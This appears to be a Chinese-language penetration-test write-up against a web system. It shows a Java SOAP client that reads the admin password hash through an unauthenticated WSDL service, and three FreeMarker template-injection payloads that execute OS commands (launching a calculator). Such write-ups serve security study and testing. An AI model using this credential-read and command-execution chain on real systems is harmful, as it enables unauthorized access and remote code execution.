首先是对登陆进行抓包,发现发送了两个数据包,一个是登陆前台,一个是登陆后台:
访问后台路由/admin/externalLogin,重定向到/admin,是后台的登陆界面:
对这个路由进行扫描,发现可以未授权访问的wsdl:
其中loadUserByUsername可以通过用户名读取密码的哈希值,编写一个soap客户端来尝试读取admin:
public class Main {
public static void main(String[] args) {
JaxWsDynamicClientFactory factory = JaxWsDynamicClientFactory.newInstance();
Client client = factory.createClient("http://infosystem:8081/admin/service/UserService?wsdl");
try {
Object[] objects = client.invoke("loadUserByUsername", "admin");
Arrays.stream(objects).forEach(System.out::println);
client.destroy();
} catch (Exception e) {
e.printStackTrace();
}
}
}成功读取:
用这个账号和密码登录后台:
其中在新闻发布 & 新闻列表中存在freemarker的模板注入:
可用payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>







